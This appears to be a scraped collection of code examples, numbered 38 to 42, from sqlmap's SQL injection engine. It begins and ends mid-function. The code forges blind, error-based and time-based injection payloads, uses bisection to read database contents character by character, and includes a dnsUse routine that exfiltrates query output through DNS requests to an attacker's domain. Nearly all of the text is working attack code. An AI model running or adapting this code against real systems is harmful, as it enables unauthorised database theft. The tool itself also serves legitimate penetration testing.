                                                INFERENCE_EQUALS_CHAR),
                                (expressionUnescaped, idx, retVal))
                            result = Request.queryPage(
                                forgedPayload,
                                timeBasedCompare=timeBasedCompare,
                                raise404=False)
                            incrementCounter(kb.technique)

                            if result:
                                return decodeIntToUnicode(retVal)

                        return None

        # Go multi-threading (--threads > 1)
        if conf.threads > 1 and isinstance(length, int) and length > 1:
            threadData = getCurrentThreadData()

            threadData.shared.value = [None] * length
            threadData.shared.index = [
                firstChar
            ]  # As list for python nested function scoping
            threadData.shared.start = firstChar

            try:

                def blindThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        kb.locks.index.acquire()

                        if threadData.shared.index[0] - firstChar >= length:
                            kb.locks.index.release()

                            return

                        threadData.shared.index[0] += 1
                        curidx = threadData.shared.index[0]
                        kb.locks.index.release()

                        if kb.threadContinue:
                            charStart = time.time()
                            val = getChar(curidx)
                            if val is None:
                                val = INFERENCE_UNKNOWN_CHAR
                        else:
                            break

                        with kb.locks.value:
                            threadData.shared.value[curidx - 1 -
                                                    firstChar] = val
                            currentValue = list(threadData.shared.value)

                        if kb.threadContinue:
                            if showEta:
                                progress.progress(time.time() - charStart,
                                                  threadData.shared.index[0])
                            elif conf.verbose >= 1:
                                startCharIndex = 0
                                endCharIndex = 0

                                for i in xrange(length):
                                    if currentValue[i] is not None:
                                        endCharIndex = max(endCharIndex, i)

                                output = ''

                                if endCharIndex > conf.progressWidth:
                                    startCharIndex = endCharIndex - conf.progressWidth

                                count = threadData.shared.start

                                for i in xrange(startCharIndex,
                                                endCharIndex + 1):
                                    output += '_' if currentValue[
                                        i] is None else currentValue[i]

                                for i in xrange(length):
                                    count += 1 if currentValue[
                                        i] is not None else 0

                                if startCharIndex > 0:
                                    output = '..' + output[2:]

                                if (endCharIndex - startCharIndex
                                        == conf.progressWidth) and (
                                            endCharIndex < length - 1):
                                    output = output[:-2] + '..'

                                if conf.verbose in (
                                        1, 2) and not showEta and not hasattr(
                                            conf, "api"):
                                    _ = count - firstChar
                                    output += '_' * (
                                        min(length, conf.progressWidth) -
                                        len(output))
                                    status = ' %d/%d (%d%%)' % (
                                        _, length, round(100.0 * _ / length))
                                    output += status if _ != length else " " * len(
                                        status)

                                    dataToStdout(
                                        "\r[%s] [INFO] retrieved: %s" %
                                        (time.strftime("%X"),
                                         filterControlChars(output)))

                runThreads(numThreads, blindThread, startThreadMsg=False)

            except KeyboardInterrupt:
                abortedFlag = True

            finally:
                value = [_ for _ in partialValue]
                value.extend(_ for _ in threadData.shared.value)

            infoMsg = None

            # If we have got one single character not correctly fetched it
            # can mean that the connection to the target URL was lost
            if None in value:
                partialValue = "".join(value[:value.index(None)])

                if partialValue:
                    infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (
                        time.strftime("%X"), filterControlChars(partialValue))
            else:
                finalValue = "".join(value)
                infoMsg = "\r[%s] [INFO] retrieved: %s" % (
                    time.strftime("%X"), filterControlChars(finalValue))

            if conf.verbose in (1,
                                2) and not showEta and infoMsg and not hasattr(
                                    conf, "api"):
                dataToStdout(infoMsg)

        # No multi-threading (--threads = 1)
        else:
            index = firstChar

            while True:
                index += 1
                charStart = time.time()

                # Common prediction feature (a.k.a. "good samaritan")
                # NOTE: to be used only when multi-threading is not set for
                # the moment
                if conf.predictOutput and len(
                        partialValue) > 0 and kb.partRun is not None:
                    val = None
                    commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(
                        partialValue, asciiTbl)

                    # If there is one single output in common-outputs, check
                    # it via equal against the query output
                    if commonValue is not None:
                        # One-shot query containing equals commonValue
                        testValue = unescaper.escape(
                            "'%s'" % commonValue
                        ) if "'" not in commonValue else unescaper.escape(
                            "%s" % commonValue, quote=False)

                        query = kb.injection.data[kb.technique].vector
                        query = agent.prefixQuery(
                            query.replace(
                                "[INFERENCE]",
                                "(%s)=%s" % (expressionUnescaped, testValue)))
                        query = agent.suffixQuery(query)

                        result = Request.queryPage(
                            agent.payload(newValue=query),
                            timeBasedCompare=timeBasedCompare,
                            raise404=False)
                        incrementCounter(kb.technique)

                        # Did we have luck?
                        if result:
                            if showEta:
                                progress.progress(time.time() - charStart,
                                                  len(commonValue))
                            elif conf.verbose in (1, 2) or hasattr(
                                    conf, "api"):
                                dataToStdout(
                                    filterControlChars(commonValue[index -
                                                                   1:]))

                            finalValue = commonValue
                            break

                    # If there is a common pattern starting with partialValue,
                    # check it via equal against the substring-query output
                    if commonPattern is not None:
                        # Substring-query containing equals commonPattern
                        subquery = queries[Backend.getIdentifiedDbms(
                        )].substring.query % (expressionUnescaped, 1,
                                              len(commonPattern))
                        testValue = unescaper.escape(
                            "'%s'" % commonPattern
                        ) if "'" not in commonPattern else unescaper.escape(
                            "%s" % commonPattern, quote=False)

                        query = kb.injection.data[kb.technique].vector
                        query = agent.prefixQuery(
                            query.replace("[INFERENCE]",
                                          "(%s)=%s" % (subquery, testValue)))
                        query = agent.suffixQuery(query)

                        result = Request.queryPage(
                            agent.payload(newValue=query),
                            timeBasedCompare=timeBasedCompare,
                            raise404=False)
                        incrementCounter(kb.technique)

                        # Did we have luck?
                        if result:
                            val = commonPattern[index - 1:]
                            index += len(val) - 1

                    # Otherwise if there is no commonValue (single match from
                    # txt/common-outputs.txt) and no commonPattern
                    # (common pattern) use the returned common charset only
                    # to retrieve the query output
                    if not val and commonCharset:
                        val = getChar(index, commonCharset, False)

                    # If we had no luck with commonValue and common charset,
                    # use the returned other charset
                    if not val:
                        val = getChar(index, otherCharset,
                                      otherCharset == asciiTbl)
                else:
                    val = getChar(index, asciiTbl)

                if val is None:
                    finalValue = partialValue
                    break

                if kb.data.processChar:
                    val = kb.data.processChar(val)

                partialValue += val

                if showEta:
                    progress.progress(time.time() - charStart, index)
                elif conf.verbose in (1, 2) or hasattr(conf, "api"):
                    dataToStdout(filterControlChars(val))

                # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
                if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[
                        -INFERENCE_BLANK_BREAK:].isspace(
                        ) and partialValue.strip(' ')[-1:] != '\n':
                    finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
                    break

                if (lastChar > 0 and index >= lastChar):
                    finalValue = "" if length == 0 else partialValue
                    finalValue = finalValue.rstrip(
                    ) if len(finalValue) > 1 else finalValue
                    partialValue = None
                    break

    except KeyboardInterrupt:
        abortedFlag = True
    finally:
        kb.prependFlag = False
        kb.stickyLevel = None
        retrievedLength = len(finalValue or "")

        if finalValue is not None:
            finalValue = decodeHexValue(
                finalValue) if conf.hexConvert else finalValue
            hashDBWrite(expression, finalValue)
        elif partialValue:
            hashDBWrite(
                expression,
                "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else
                          PARTIAL_HEX_VALUE_MARKER, partialValue))

    if conf.hexConvert and not abortedFlag and not hasattr(conf, "api"):
        infoMsg = "\r[%s] [INFO] retrieved: %s  %s\n" % (time.strftime(
            "%X"), filterControlChars(finalValue), " " * retrievedLength)
        dataToStdout(infoMsg)
    else:
        if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"):
            dataToStdout("\n")

        if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
            infoMsg = "retrieved: %s" % filterControlChars(finalValue)
            logger.info(infoMsg)

    if kb.threadException:
        raise SqlmapThreadException(
            "something unexpected happened inside the threads")

    if abortedFlag:
        raise KeyboardInterrupt

    _ = finalValue or partialValue
    return getCounter(
        kb.technique), safecharencode(_) if kb.safeCharEncode else _
Ejemplo n.º 38
0
def _goInferenceProxy(expression,
                      fromUser=False,
                      batch=False,
                      unpack=True,
                      charsetType=None,
                      firstChar=None,
                      lastChar=None,
                      dump=False):
    """
    Retrieve the output of a SQL query characted by character taking
    advantage of an blind SQL injection vulnerability on the affected
    parameter through a bisection algorithm.
    """

    initTechnique(kb.technique)

    query = agent.prefixQuery(kb.injection.data[kb.technique].vector)
    query = agent.suffixQuery(query)
    payload = agent.payload(newValue=query)
    count = None
    startLimit = 0
    stopLimit = None
    outputs = BigArray()

    if not unpack:
        return _goInference(payload, expression, charsetType, firstChar,
                            lastChar, dump)

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(
        expression)

    rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I)
    if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD):
        expressionFieldsList = [expressionFields]

    if len(expressionFieldsList) > 1:
        infoMsg = "the SQL query provided has more than one field. "
        infoMsg += "sqlmap will now unpack it into distinct queries "
        infoMsg += "to be able to retrieve the output even if we "
        infoMsg += "are going blind"
        logger.info(infoMsg)

    # If we have been here from SQL query/shell we have to check if
    # the SQL query might return multiple entries and in such case
    # forge the SQL limiting the query output one entry at a time
    # NOTE: we assume that only queries that get data from a table
    # can return multiple entries
    if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
      not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
      expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
      and not re.search(SQL_SCALAR_REGEX, expression, re.I):
        expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(
            expression)

        if limitCond:
            test = True

            if not stopLimit or stopLimit <= 1:
                if Backend.getIdentifiedDbms(
                ) in FROM_DUMMY_TABLE and expression.upper().endswith(
                        FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]):
                    test = False

            if test:
                # Count the number of SQL query entries output
                countFirstField = queries[Backend.getIdentifiedDbms(
                )].count.query % expressionFieldsList[0]
                countedExpression = expression.replace(expressionFields,
                                                       countFirstField, 1)

                if " ORDER BY " in expression.upper():
                    _ = countedExpression.upper().rindex(" ORDER BY ")
                    countedExpression = countedExpression[:_]

                if not stopLimit:
                    count = _goInference(payload,
                                         countedExpression,
                                         charsetType=CHARSET_TYPE.DIGITS,
                                         firstChar=firstChar,
                                         lastChar=lastChar)

                    if isNumPosStrValue(count):
                        count = int(count)

                        if batch or count == 1:
                            stopLimit = count
                        else:
                            message = "the SQL query provided can return "
                            message += "%d entries. How many " % count
                            message += "entries do you want to retrieve?\n"
                            message += "[a] All (default)\n[#] Specific number\n"
                            message += "[q] Quit"
                            test = readInput(message, default="a")

                            if not test or test[0] in ("a", "A"):
                                stopLimit = count

                            elif test[0] in ("q", "Q"):
                                raise SqlmapUserQuitException

                            elif test.isdigit(
                            ) and int(test) > 0 and int(test) <= count:
                                stopLimit = int(test)

                                infoMsg = "sqlmap is now going to retrieve the "
                                infoMsg += "first %d query output entries" % stopLimit
                                logger.info(infoMsg)

                            elif test[0] in ("#", "s", "S"):
                                message = "how many? "
                                stopLimit = readInput(message, default="10")

                                if not stopLimit.isdigit():
                                    errMsg = "invalid choice"
                                    logger.error(errMsg)

                                    return None

                                else:
                                    stopLimit = int(stopLimit)

                            else:
                                errMsg = "invalid choice"
                                logger.error(errMsg)

                                return None

                    elif count and not count.isdigit():
                        warnMsg = "it was not possible to count the number "
                        warnMsg += "of entries for the SQL query provided. "
                        warnMsg += "sqlmap will assume that it returns only "
                        warnMsg += "one entry"
                        logger.warn(warnMsg)

                        stopLimit = 1

                    elif (not count or int(count) == 0):
                        if not count:
                            warnMsg = "the SQL query provided does not "
                            warnMsg += "return any output"
                            logger.warn(warnMsg)

                        return None

                elif (not stopLimit or stopLimit == 0):
                    return None

                try:
                    for num in xrange(startLimit, stopLimit):
                        output = _goInferenceFields(expression,
                                                    expressionFields,
                                                    expressionFieldsList,
                                                    payload,
                                                    num=num,
                                                    charsetType=charsetType,
                                                    firstChar=firstChar,
                                                    lastChar=lastChar,
                                                    dump=dump)
                        outputs.append(output)

                except KeyboardInterrupt:
                    print
                    warnMsg = "user aborted during dumping phase"
                    logger.warn(warnMsg)

                return outputs

    elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper(
    ).startswith("SELECT ") and " FROM " not in expression.upper():
        expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]

    outputs = _goInferenceFields(expression,
                                 expressionFields,
                                 expressionFieldsList,
                                 payload,
                                 charsetType=charsetType,
                                 firstChar=firstChar,
                                 lastChar=lastChar,
                                 dump=dump)

    return ", ".join(
        output for output in outputs) if not isNoneValue(outputs) else None
Ejemplo n.º 39
0
def dnsUse(payload, expression):
    """
    Retrieve the output of a SQL query taking advantage of the DNS
    resolution mechanism by making request back to attacker's machine.
    """

    start = time.time()

    retVal = None
    count = 0
    offset = 1

    if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL):
        output = hashDBRetrieve(expression, checkConf=True)

        if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
            output = None

        if output is None:
            kb.dnsMode = True

            while True:
                count += 1
                prefix, suffix = ("%s" % randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET) for _ in xrange(2))
                chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL / 4 - 2
                _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
                nulledCastedField = agent.nullAndCastField(fieldToCastStr)
                extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(fieldToCastStr), expression).group(0)
                if extendedField != fieldToCastStr:  # e.g. MIN(surname)
                    nulledCastedField = extendedField.replace(fieldToCastStr, nulledCastedField)
                    fieldToCastStr = extendedField
                nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
                nulledCastedField = agent.hexConvertField(nulledCastedField)
                expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)

                expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain)
                expressionUnescaped = unescaper.escape(expressionRequest)

                if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
                    query = agent.prefixQuery("; %s" % expressionUnescaped)
                    query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query)
                    forgedPayload = agent.payload(newValue=query)
                else:
                    forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3)))

                Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False)

                _ = conf.dnsServer.pop(prefix, suffix)

                if _:
                    _ = extractRegexResult("%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
                    _ = decodeHexValue(_)
                    output = (output or "") + _
                    offset += len(_)

                    if len(_) < chunk_length:
                        break
                else:
                    break

            output = decodeHexValue(output) if conf.hexConvert else output

            kb.dnsMode = False

        if output is not None:
            retVal = output

            if kb.dnsTest is not None:
                dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output)))

                if count > 0:
                    hashDBWrite(expression, output)

        if not kb.bruteMode:
            debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start))
            logger.debug(debugMsg)

    elif conf.dnsDomain:
        warnMsg = "DNS data exfiltration method through SQL injection "
        warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms()
        singleTimeWarnMessage(warnMsg)

    return safecharencode(retVal) if kb.safeCharEncode else retVal
Ejemplo n.º 40
0
 def _orderByTest(cols):
     query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
     query = agent.suffixQuery(query, suffix=suffix, comment=comment)
     payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
     page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
     return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order (by|clause)", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None
Ejemplo n.º 41
0
def _oneShotErrorUse(expression, field=None, chunkTest=False):
    offset = 1
    rotator = 0
    partialValue = None
    threadData = getCurrentThreadData()
    retVal = hashDBRetrieve(expression, checkConf=True)

    if retVal and PARTIAL_VALUE_MARKER in retVal:
        partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
        logger.info("resuming partial value: '%s'" %
                    _formatPartialContent(partialValue))
        offset += len(partialValue)

    threadData.resumed = retVal is not None and not partialValue

    if any(
            Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)
    ) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
        debugMsg = "searching for error chunk length..."
        logger.debug(debugMsg)

        current = MAX_ERROR_CHUNK_LENGTH
        while current >= MIN_ERROR_CHUNK_LENGTH:
            testChar = str(current % 10)
            testQuery = "SELECT %s('%s',%d)" % ("REPEAT" if Backend.isDbms(
                DBMS.MYSQL) else "REPLICATE", testChar, current)
            result = unArrayizeValue(
                _oneShotErrorUse(testQuery, chunkTest=True))

            if (result or "").startswith(testChar):
                if result == testChar * current:
                    kb.errorChunkLength = current
                    break
                else:
                    result = re.search(r"\A\w+", result).group(0)
                    candidate = len(result) - len(kb.chars.stop)
                    current = candidate if candidate != current else current - 1
            else:
                current = current / 2

        if kb.errorChunkLength:
            hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength)
        else:
            kb.errorChunkLength = 0

    if retVal is None or partialValue:
        try:
            while True:
                check = r"(?si)%s(?P<result>.*?)%s" % (kb.chars.start,
                                                       kb.chars.stop)
                trimcheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start

                if field:
                    nulledCastedField = agent.nullAndCastField(field)

                    if any(
                            Backend.isDbms(dbms)
                            for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(
                                _ in field for _ in ("COUNT", "CASE")
                            ) and kb.errorChunkLength and not chunkTest:
                        extendedField = re.search(
                            r"[^ ,]*%s[^ ,]*" % re.escape(field),
                            expression).group(0)
                        if extendedField != field:  # e.g. MIN(surname)
                            nulledCastedField = extendedField.replace(
                                field, nulledCastedField)
                            field = extendedField
                        nulledCastedField = queries[Backend.getIdentifiedDbms(
                        )].substring.query % (nulledCastedField, offset,
                                              kb.errorChunkLength)

                # Forge the error-based SQL injection request
                vector = kb.injection.data[kb.technique].vector
                query = agent.prefixQuery(vector)
                query = agent.suffixQuery(query)
                injExpression = expression.replace(field, nulledCastedField,
                                                   1) if field else expression
                injExpression = unescaper.escape(injExpression)
                injExpression = query.replace("[QUERY]", injExpression)
                payload = agent.payload(newValue=injExpression)

                # Perform the request
                page, headers, _ = Request.queryPage(payload,
                                                     content=True,
                                                     raise404=False)

                incrementCounter(kb.technique)

                if page and conf.noEscape:
                    page = re.sub(
                        r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" %
                        (kb.chars.start, kb.chars.stop), "", page)

                # Parse the returned page to get the exact error-based
                # SQL injection output
                output = reduce(lambda x, y: x if x is not None else y, (\
                        extractRegexResult(check, page), \
                        extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), \
                        extractRegexResult(check, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] if headers else None)), \
                        extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)), \
                        None)

                if output is not None:
                    output = getUnicode(output)
                else:
                    trimmed = extractRegexResult(trimcheck, page) \
                        or extractRegexResult(trimcheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None) \
                        or extractRegexResult(trimcheck, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] if headers else None)) \
                        or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)

                    if trimmed:
                        if not chunkTest:
                            warnMsg = "possible server trimmed output detected "
                            warnMsg += "(due to its length and/or content): "
                            warnMsg += safecharencode(trimmed)
                            logger.warn(warnMsg)

                        if not kb.testMode:
                            check = r"(?P<result>[^<>\n]*?)%s" % kb.chars.stop[:
                                                                               2]
                            output = extractRegexResult(
                                check, trimmed, re.IGNORECASE)

                            if not output:
                                check = "(?P<result>[^\s<>'\"]+)"
                                output = extractRegexResult(
                                    check, trimmed, re.IGNORECASE)
                            else:
                                output = output.rstrip()

                if any(
                        Backend.isDbms(dbms)
                        for dbms in (DBMS.MYSQL, DBMS.MSSQL)):
                    if offset == 1:
                        retVal = output
                    else:
                        retVal += output if output else ''

                    if output and kb.errorChunkLength and len(
                            output) >= kb.errorChunkLength and not chunkTest:
                        offset += kb.errorChunkLength
                    else:
                        break

                    if output and conf.verbose in (1, 2) and not conf.api:
                        if kb.fileReadMode:
                            dataToStdout(
                                _formatPartialContent(output).replace(
                                    r"\n", "\n").replace(r"\t", "\t"))
                        elif offset > 1:
                            rotator += 1

                            if rotator >= len(ROTATING_CHARS):
                                rotator = 0

                            dataToStdout("\r%s\r" % ROTATING_CHARS[rotator])
                else:
                    retVal = output
                    break
        except:
            if retVal is not None:
                hashDBWrite(expression,
                            "%s%s" % (retVal, PARTIAL_VALUE_MARKER))
            raise

        retVal = decodeHexValue(retVal) if conf.hexConvert else retVal

        if isinstance(retVal, basestring):
            retVal = htmlunescape(retVal).replace("<br>", "\n")

        retVal = _errorReplaceChars(retVal)

        if retVal is not None:
            hashDBWrite(expression, retVal)

    else:
        _ = "(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
        retVal = extractRegexResult(_, retVal) or retVal

    return safecharencode(retVal) if kb.safeCharEncode else retVal
Ejemplo n.º 42
0
def bisection(payload,
              expression,
              length=None,
              charsetType=None,
              firstChar=None,
              lastChar=None,
              dump=False):
    """
    Bisection algorithm that can be used to perform blind SQL injection
    on an affected host
    """

    abortedFlag = False
    showEta = False
    partialValue = u""
    finalValue = None
    retrievedLength = 0

    if payload is None:
        return 0, None

    if charsetType is None and conf.charset:
        asciiTbl = sorted(set(ord(_) for _ in conf.charset))
    else:
        asciiTbl = getCharset(charsetType)

    threadData = getCurrentThreadData()
    timeBasedCompare = (getTechnique()
                        in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
    retVal = hashDBRetrieve(expression, checkConf=True)

    if retVal:
        if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal:
            pass
        elif PARTIAL_HEX_VALUE_MARKER in retVal:
            retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "")

            if retVal and conf.hexConvert:
                partialValue = retVal
                infoMsg = "resuming partial value: %s" % safecharencode(
                    partialValue)
                logger.info(infoMsg)
        elif PARTIAL_VALUE_MARKER in retVal:
            retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")

            if retVal and not conf.hexConvert:
                partialValue = retVal
                infoMsg = "resuming partial value: %s" % safecharencode(
                    partialValue)
                logger.info(infoMsg)
        else:
            infoMsg = "resumed: %s" % safecharencode(retVal)
            logger.info(infoMsg)

            return 0, retVal

    if Backend.isDbms(DBMS.MCKOI):
        match = re.search(r"\ASELECT\b(.+)\bFROM\b(.+)\Z", expression, re.I)
        if match:
            original = queries[Backend.getIdentifiedDbms()].inference.query
            right = original.split('<')[1]
            payload = payload.replace(
                right, "(SELECT %s FROM %s)" % (right, match.group(2).strip()))
            expression = match.group(1).strip()

    elif Backend.isDbms(DBMS.FRONTBASE):
        match = re.search(
            r"\ASELECT\b(\s+TOP\s*\([^)]+\)\s+)?(.+)\bFROM\b(.+)\Z",
            expression, re.I)
        if match:
            payload = payload.replace(
                INFERENCE_GREATER_CHAR, " FROM %s)%s" %
                (match.group(3).strip(), INFERENCE_GREATER_CHAR))
            payload = payload.replace(
                "SUBSTRING", "(SELECT%sSUBSTRING" %
                (match.group(1) if match.group(1) else " "), 1)
            expression = match.group(2).strip()

    try:
        # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API
        if conf.predictOutput:
            kb.partRun = getPartRun()
        elif conf.api:
            kb.partRun = getPartRun(alias=False)
        else:
            kb.partRun = None

        if partialValue:
            firstChar = len(partialValue)
        elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression):
            firstChar = 0
        elif conf.firstChar is not None and (
                isinstance(conf.firstChar, int) or
            (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())):
            firstChar = int(conf.firstChar) - 1
            if kb.fileReadMode:
                firstChar <<= 1
        elif hasattr(firstChar,
                     "isdigit") and firstChar.isdigit() or isinstance(
                         firstChar, int):
            firstChar = int(firstChar) - 1
        else:
            firstChar = 0

        if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression):
            lastChar = 0
        elif conf.lastChar is not None and (isinstance(conf.lastChar, int) or
                                            (hasattr(conf.lastChar, "isdigit")
                                             and conf.lastChar.isdigit())):
            lastChar = int(conf.lastChar)
        elif hasattr(lastChar, "isdigit") and lastChar.isdigit() or isinstance(
                lastChar, int):
            lastChar = int(lastChar)
        else:
            lastChar = 0

        if Backend.getDbms():
            _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
            nulledCastedField = agent.nullAndCastField(fieldToCastStr)
            expressionReplaced = expression.replace(fieldToCastStr,
                                                    nulledCastedField, 1)
            expressionUnescaped = unescaper.escape(expressionReplaced)
        else:
            expressionUnescaped = unescaper.escape(expression)

        if hasattr(length, "isdigit") and length.isdigit() or isinstance(
                length, int):
            length = int(length)
        else:
            length = None

        if length == 0:
            return 0, ""

        if length and (lastChar > 0 or firstChar > 0):
            length = min(length, lastChar or length) - firstChar

        if length and length > MAX_BISECTION_LENGTH:
            length = None

        showEta = conf.eta and isinstance(length, int)

        if kb.bruteMode:
            numThreads = 1
        else:
            numThreads = min(conf.threads or 0, length or 0) or 1

        if showEta:
            progress = ProgressBar(maxValue=length)

        if numThreads > 1:
            if not timeBasedCompare or kb.forceThreads:
                debugMsg = "starting %d thread%s" % (numThreads,
                                                     ("s" if numThreads > 1
                                                      else ""))
                logger.debug(debugMsg)
            else:
                numThreads = 1

        if conf.threads == 1 and not any(
            (timeBasedCompare, conf.predictOutput)):
            warnMsg = "running in a single-thread mode. Please consider "
            warnMsg += "usage of option '--threads' for faster data retrieval"
            singleTimeWarnMessage(warnMsg)

        if conf.verbose in (1, 2) and not any(
            (showEta, conf.api, kb.bruteMode)):
            if isinstance(length, int) and numThreads > 1:
                dataToStdout("[%s] [INFO] retrieved: %s" %
                             (time.strftime("%X"),
                              "_" * min(length, conf.progressWidth)))
                dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
            else:
                dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))

        def tryHint(idx):
            with kb.locks.hint:
                hintValue = kb.hintValue

            if payload is not None and len(
                    hintValue or "") > 0 and len(hintValue) >= idx:
                if "'%s'" % CHAR_INFERENCE_MARK in payload:
                    posValue = hintValue[idx - 1]
                else:
                    posValue = ord(hintValue[idx - 1])

                markingValue = "'%s'" % CHAR_INFERENCE_MARK
                unescapedCharValue = unescaper.escape(
                    "'%s'" % decodeIntToUnicode(posValue))
                forgedPayload = agent.extractPayload(payload) or ""
                forgedPayload = safeStringFormat(
                    forgedPayload.replace(INFERENCE_GREATER_CHAR,
                                          INFERENCE_EQUALS_CHAR),
                    (expressionUnescaped, idx, posValue)).replace(
                        markingValue, unescapedCharValue)
                result = Request.queryPage(agent.replacePayload(
                    payload, forgedPayload),
                                           timeBasedCompare=timeBasedCompare,
                                           raise404=False)
                incrementCounter(getTechnique())

                if result:
                    return hintValue[idx - 1]

            with kb.locks.hint:
                kb.hintValue = ""

            return None

        def validateChar(idx, value):
            """
            Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay
            """

            validationPayload = re.sub(
                r"(%s.*?)%s(.*?%s)" %
                (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER),
                r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload)

            if "'%s'" % CHAR_INFERENCE_MARK not in payload:
                forgedPayload = safeStringFormat(
                    validationPayload, (expressionUnescaped, idx, value))
            else:
                # e.g.: ... > '%c' -> ... > ORD(..)
                markingValue = "'%s'" % CHAR_INFERENCE_MARK
                unescapedCharValue = unescaper.escape(
                    "'%s'" % decodeIntToUnicode(value))
                forgedPayload = safeStringFormat(
                    validationPayload, (expressionUnescaped, idx)).replace(
                        markingValue, unescapedCharValue)

            result = not Request.queryPage(forgedPayload,
                                           timeBasedCompare=timeBasedCompare,
                                           raise404=False)

            if result and timeBasedCompare and getTechniqueData().trueCode:
                result = threadData.lastCode == getTechniqueData().trueCode
                if not result:
                    warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (
                        threadData.lastCode, getTechniqueData().trueCode)
                    singleTimeWarnMessage(warnMsg)

            incrementCounter(getTechnique())

            return result

        def getChar(idx,
                    charTbl=None,
                    continuousOrder=True,
                    expand=charsetType is None,
                    shiftTable=None,
                    retried=None):
            """
            continuousOrder means that distance between each two neighbour's
            numerical values is exactly 1
            """

            result = tryHint(idx)

            if result:
                return result

            if charTbl is None:
                charTbl = type(asciiTbl)(asciiTbl)

            originalTbl = type(charTbl)(charTbl)

            if continuousOrder and shiftTable is None:
                # Used for gradual expanding into unicode charspace
                shiftTable = [2, 2, 3, 3, 5, 4]

            if "'%s'" % CHAR_INFERENCE_MARK in payload:
                for char in ('\n', '\r'):
                    if ord(char) in charTbl:
                        charTbl.remove(ord(char))

            if not charTbl:
                return None

